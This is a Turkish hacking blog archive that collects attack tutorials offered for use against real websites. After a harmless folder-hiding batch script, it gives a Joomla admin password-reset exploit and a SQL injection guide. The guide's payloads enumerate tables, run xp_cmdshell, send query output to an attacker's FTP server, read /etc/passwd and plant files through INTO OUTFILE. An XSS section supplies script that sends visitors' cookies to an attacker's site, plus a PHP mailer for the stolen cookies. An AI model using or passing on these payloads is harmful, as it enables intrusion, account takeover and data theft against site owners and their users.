Blog Arşivi

2 Aralık 2011 Cuma

Şifreleme Kodları

Masaüstüne sað týklayýn. "Yeni Metin Belgesi Oluþtur" u seçin. Aþaðýda yazýlan kod'u kopyala/yapýþtýr þeklinde açmýþ olduðunuz notepad (txt) dosyasýna yapýþtýrýn

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%== BURAYA ÞÝFRE YAZILACAK goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successflly
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successflly
goto End
:End

Þimdi yukarýda textarea (Kutu) içerisinde geçen (BURAYA ÞÝFRE YAZILACAK) yazan yere klasörü kullanýma açmak için gerekli - yazacaksýnýz. Ýstediðiniz bir - ekledikten sonra dosyayý kaydedin. Normal olarak txt olarak kaydedecek. Uzantýsýný bat a çevirmek gerekiyor. Bunun için ;
Baþlat >
Bilgisayarým >
C sürücüsüne týklayýn
Üst menüden Araçlar >Klasör seçenekle >Görünüm >"Bilinen dosya türleri için uzantýlarý gizle" nin yanýndaki týk ý kaldýrýn ve tamam deyip çýkýn.
Masaüstüne döndüðümüze Yeni Metin Belgesi.txt þeklinde hazýr olan dosyamýza mouse ile 1 kere týklayarak ne isim vermek istiyorsanýz isim verin ve sonuna .bat ekleyerek kaydedin >dosyaismi.bat þeklinde.
Þimdi bu oluþturduðumuz .bat dosyasýný harddiskinizde kullanacaðýnýz yere koyun.
Dosyaya týkladýðýnýzda koymuþ olduðunuz klasörde "Locker" isimli bir klasör oluþturacak. Bu sizin gizli olarak kullanacaðýnýz klasör. Gizlemek istediðiniz dosyalarý bu klasörün içine taþýyýn ve tekrar oluþturduðumuz dosyaismi.bat isimli dosyaya týklayýn. "Are you sure u want to lock the folder? y/n" þeklinde sorduðunda "Y" dediðimizde locker isimli klasör görünmez olacaktýr. Tekrar kullanmak istediðinizde dosyaismi.bat a týklayýn parola soracak. Parolanýzý girin ve Locker isimli klasör tekrar görünür olacaktýr.

Dns Cache Poisening

Dns Cache Poisening nedir ?
kiþiyi istediði web sayfasý yerine baþka yere yönlendirmek
kiþinin browserýnda hala istedigi sayfa gorunur

link: http://www.filesonic.com/file/4067451284/Dns_Cache_Poisening.avi

SQL Union kullanımı

Bu özet kullanılabilir değil. Yayını görüntülemek için lütfen burayı tıklayın.

index.php yoluyla Admin değiştirme

1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm

2. Write into field "token" char ' and Click OK.

3. Write new password for admin

4. Go to url : target.com/administrator/

5. Login admin with new password

# milw0rm.com [2008-08-12]

Access, Mssql ve Mysql ile Sql Injection

 Access, Mssql ve Mysql ile Sql Injection (Sayfa:1)

Access : Access sitelerde update olmaz. En basta bunu söyleyerek baslayayim. Bosuna update yapmaya çalismayin. Access sistemlerde tablo ve kolon adlarini ögrenebilecegimiz bir yolda olmadigi için tablo ve kolon adlarini bulmak için tek yol tablo ve kolonlari tahmin etmektir.

Diyelim ki sitemiz www.hedefite.com/haber.asp?id=1

simdi yapacagimi union select ile bilgileri çekmeye çalismaktir.

www.hedefsite.com/haber.asp?id=1+union+select+0+from+admin

bunu yazdiktan sonra eger admin tablosu yok ise

-The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly.

var ise

-The number of columns in the two selected tables or queries of a union query do not match.

Seklinde bi hata alinir. Ilk hatayi aldiysak tabloyu tutturamamisiz baska tablo adi denememiz gerekir. Ikinci hatayi aldiysak tablo adi dogru demektir. Simdiki isimiz kolon sayisini esitlemek olacaktir. Hata degisene kadar 0 koymaya devam etmemiz gerekiyor.hata degistikten sonra yada hata almazsak simdiki isimiz kolon adlarini tahmin etmek.

Örnek olarak; www.hedefsite.com/haber.asp?id=1+union+select+username,passw ord,0,0,0+from+admin

Access sitelerde sql injection yaparak eger sitenin bi admin paneli varsa onun sifresini yada bir üyelik girisi falan varsa üyelerin sifrelerini alabiliriz.

Mssql : mssql sql injection için en uygun sistemdir diyebilirim. Mssql sistemlerde hataya zorlayacak karakterleri yazdigimiz zaman örnek olarak : haber.asp?id=1’a unclosed hatasi aliyorsak update yapabilir. Update yapmak için tablo ve kolon adlarini ögrenmek lazim

Ögrenmek için having 1=1 kullaniriz.

www.hedefsite.com/news.asp?id=1 having 1=1

Column 'news.title' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Gibi bi hata aliriz. News tablosunda title kolonu varmis.

Diger kolon adlarini bulmak için

www.hedefsite.com/news.asp?id=1 group by title having 1=1

having 1=1 ‘den önce buldugumuz kolon adlarini group by ile birlikte yazarak diger kolon adlarini ögreniriz.

www.hedefsite.com/news.asp?id=1 update tablo_adi set kolon_adi=’yazilmak istenen yazi’;--

sekilde update yapilabilir.

Bir baska kolon ve tablo ögrenme sekli ise söyle

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'a'))

bu yazdigimiz kod ile alfabetik olarak ‘a’ karakterinden büyük olan ilk tablonun adini ögreniriz. Mesela article tablosunu verdi bize. Daha sonra

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'article'))

yazarak article tablosundan daha sonra gelen tabloyu buluruz bu sekilde tüm tablo adlarini bulabiliriz.

www.hedefsite.com/news.asp?id= convert(int, (select top 1 name from syscolumns where colid=COLUMNID and id=(select top 1 id from sysobjects where xtype='U' and name='kolonlarini ögrenmek istedigimiz tablo adi’)))

yazarak biraz önce adini ögrendigimiz tablonun kolon adlarini ögrenebiliriz. COLUMNID yazan yere 1 , 2 , 3 yazarak sirayla tabloda bulunan kolonlari alfabetik olarak ögrenebiliriz.

Having 1=1 ile sadece 1 tablonun adi ve kolon adlari ögrenilebilirken bu yöntemle tüm tablo ve kolonlar ögrenilebilir.

Uygulanacak baska bir yol ise veri tabani kullanicisi dbo yani admin ise veri tabaninda cmd komutu çalistirabilir bunun sonucunu bir ftp’ye yazdirabiliriz yada istedigimiz bir sorgu sonucunu yine ftp’ye yazdirabiliriz. Burada ihtiyacimiz olan yazilabilir ve sifresiz ulasilabilen bir ftp server ve veri tabani kullanicisinin dbo olmasidir. Zaten bu yöntemi video ile anlatmistim.

Bir sorgu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec+sp_makewebtask+'ftpserv er/a.html','select+*+from+tablo_adi';--

cmd komutu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec master..xp_cmdshell 'dir c:\ > test1.txt';drop table deneme1;CREATE TABLE deneme1 (txt varchar(8000));BULK INSERT deneme1 FROM 'test1.txt';exec+sp_makewebtask+'ftpserver/a.html','select+* +from+deneme1';

baska uygulanacak bir yöntem ise serverda dosya olusturmaktir. Bu sekilde servera fso upload edebilir yada direk index atabiliriz. Yine veri tabani kullanicisinin admin olmasi gerekmektedir. Yöntemi kisaca anlatayim. Bununla ilgili 2 video çekmistim zaten. Simdi bizim tablodaki verileri dosyaya yazdirma sansimiz var. O zaman biz bir tablo olusturup sonra bu tablo içine olusturmak istedigimiz dosyalarin insert edersek daha sonra bu tablodaki verileri dosyaya yazdirarak serverda istedigimiz dosyayi olusturabiliriz. Burada dosyalari hex koduna çevirerek insert etmek yararimiza olacaktir çünkü dosyalarin içinde bulunan verileri injectioni muhtemelen bozacaktir. Bununla ilgili 2 videom zaten var onlara bakarak çok daha iyi anlayabilirsiniz.

Mysql: bir baska veri tabani sistemi mysql’dir. Büyük bi çogunlukla php siteler kullanir. Sunu en basta söyliyeyim php’de update olmaz. Php sitelerde bosuna update denemeyin.

Yapabileceklerini eger veri tabani kullanicisi yetkili degil ise Access ile yapacaklarinizdan ileri geçemez. Union select ile veri çekebilirsiniz. Mysqlde injection kelimeleri arasina /**/ konur. Aslinda bu bir sart degildir ama mysqlde /**/ sonlandiri anlamina geliyor sanirim.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,2 ,3/*

bu sekilde kolon sayisini tutturmaya çalisiyoruz. Dikkat ederseniz kolon sayisini tutturmaya çalisirken tablo adi yazmamiza gerek yok.

Eger yetkisimiz var ise mysql yada information_schema veri tabanlarindan veri çekebiliriz. Mysql.user tablosunda kullanici adi ve sifre bilgileri bulunur. Tabi sifre hashlenmis olarak tutulur. 4.1 öncesi sürümlerde 16 byte ile sifreliyorlardi 4.1 ve sonrasi sürümlerde 41 byte ile sifreleniyor. Bu sifreler ancak brute force ile kiralabilir. information_schema.tables tablosundan ise tablo ve kolon adlarini ögrenebilirsiniz.Ayrica load_file() fonksiyonu ile dosya okuyabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, load_file('/etc/passwd'),3/*

mesela bu sekilde etc passwd dosyasini okuyabiliriz. Eger magic_quotes_gpc özelligi on ise ‘ karakteri /’ dönüstürülecegi için text olarak yazarak bu yöntem çalismayacaktir. O zaman char() fonksiyonunu kullaniyoruz. /etc/passwd yazisinin karakterlerinin tek tek ascii kodlarini yazarak bu yöntemi uygulayabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, char(47,101,116,99,47,112,97,115,115,119,100),3/*

bu yötemi ayrica sanal dizin biliniyorsa sitenin dosyalarini okumak içinde kullanabiliriz.

/home/www/public_html/ gibi.

Mysql’dede sorgu sonucunu bir dosyaya yazdirma olayi var. Fakat sanal dizin bilinmek zorundadir. Bu isi into outfile komutuyla yapariz.

www.hedefsite.com/news.php?id=1/**/union/**/select/**/0,0,'d osyaya_yazdiralacak_kod '/**/from/**/users/**/**/INTO/**/OUTFILE/**/'/home/www/www.h edefsite.com/public_html/xxx.php'/*

burada ‘dosyaya yazdirlacak kod yerine’ rfi yiyen küçük bir kod parçacigi yazilarak kendimize bir rfi yolu açabiliriz.

XSS Cookie çalma ile web hack


XSS Cookie çalma ile web hack (Sayfa:1)
XSS Cookie çalma ile web hack

Bu dökümanda size XSS ile bir hack yöntemi anlatacağım öncelikle işin mantığına değinmek istiyorum. Küçük bir javascript koduyla, kodun bulunduğu mevcut sayfaya ait cookie'yi çalabiliyoruz. Peki bu bizim ne işimize yarayacak? Ekleyeceğimiz bir php mail yollama koduyla elde edilen cookie değeri belirttiğimiz maile yollanabilir. Böylece o cookie değerini bizim o mevcut site uzerinde sahip olduğumuz cookie ile değiştirebiliriz. Yani eğer adminin cookie'yi çalarsak ve o sitedeki kendi cookiemiz ile değiştirirsek. Siteyi açtığımız an admin olarak giriş yapmış oluruz.

Buradaki sorun ise sadece mevcut sayfanın cookie değerini alabilmesi, yani www.hedefsite.com uzerinde bu kodu yazabilmemiz lazım. Imzasında veya herhangi bir yerinde html kodu serbest olan forumda aşşağıdaki kodu giriyoruz:

<script>window.navigate("http://www.sitem.com/cookieyolla.php?data="+document.cookie)</script>
Not: Bu kodu başka bir şeyin arkasına gizleyebilirsiniz, örneğin imzanızda html sayesinde kayan yazı koyarsınız ama arka planda bu kodda bulunur.
Bu html kodu, kodun mevcut olduğu sayfayı açanların cookie değerlerini cookieyolla.php uzerinden bize yollamaktadır. Cookie yolla.php çok basit bir php kodudur, "data" değerini "cookieyolla.php" üzerinden maille atar "+document.cookie ise cookie yi çalan javascript kodudur. Işin mantığı bu.
Cookieyolla.php kodu:
<?
$cookie = $_GET['data'];
$kime = "fistandantilus@mailserverı.com";
$konu = "cookie";
mail ($kime,$konu,$cookie);
?>


Not: cookieyolla.php'yi kendiniz değiştirebilirsiniz, yaratıcılığınıza bağlı.
fistandantilus@mailserverı.com yerine cookie değerini yollamasını istediğiniz maili(yani kendi mailinizi yazın)
Cookie elimize geldiği zaman "Bilgisayarım/C/DocumentsandSettings/Kullanıcıadı/Cookies" klasörü içindeki html kodunu soktuğunuz sitenin adının bulunduğu txt dosyasındaki cookie ile değiştirin böylece gelen cookie ile giriş yapmış olursunuz.

Uye olunan sitede Cookie Edit

Videolu anlatım Link: http://www.filesonic.com/file/4067269744/Cookie_Edit_&_Hack.avi

Torrent nedir?

Bu özet kullanılabilir değil. Yayını görüntülemek için lütfen burayı tıklayın.